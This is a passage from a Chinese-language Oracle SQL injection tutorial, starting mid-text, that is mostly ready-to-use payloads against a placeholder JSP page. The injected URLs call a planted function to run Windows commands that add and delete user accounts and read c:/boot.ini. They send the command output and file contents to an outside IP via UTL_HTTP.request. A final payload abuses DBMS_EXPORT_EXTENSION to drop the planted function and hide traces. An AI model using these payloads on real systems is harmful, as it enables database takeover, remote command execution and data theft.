注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and ''1''<>"。
如果要查看运行结果可以用 union :
/xxx.jsp?id=1 union select sys.LinxRunCMD(''cmd /c net user linx /add'') from dual
或者UTL_HTTP.request(:
/xxx.jsp?id=1 and ''1''<>(
SELECT UTL_HTTP.request(''http://211.71.147.3/record.php?a=LinxRunCMD:''||REPLACE(REPLACE(sys.LinxRunCMD(''cmd /c net user aaa /del''),'' '',''%20''),''\n'',''%0A'')) FROM dual
)
/xxx.jsp?id=1 and ''1''<>(
SELECT UTL_HTTP.request(''http://211.71.147.3/record.php?a=LinxRunCMD:''||REPLACE(REPLACE(sys.LinxReadFile(''c:/boot.ini''),'' '',''%20''),''\n'',''%0A'')) FROM dual
)
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
--------------------
6.内部变化
通过以下命令可以查看all_objects表达改变:
select * from all_objects where object_name like ''%LINX%'' or object_name like ''%Linx%''
7.删除我们创建的函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(''FOO'',''BAR'',''DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''''''
drop function LinxRunCMD '''''''';END;'''';END;--'',''SYS'',0,''1'',0) from dual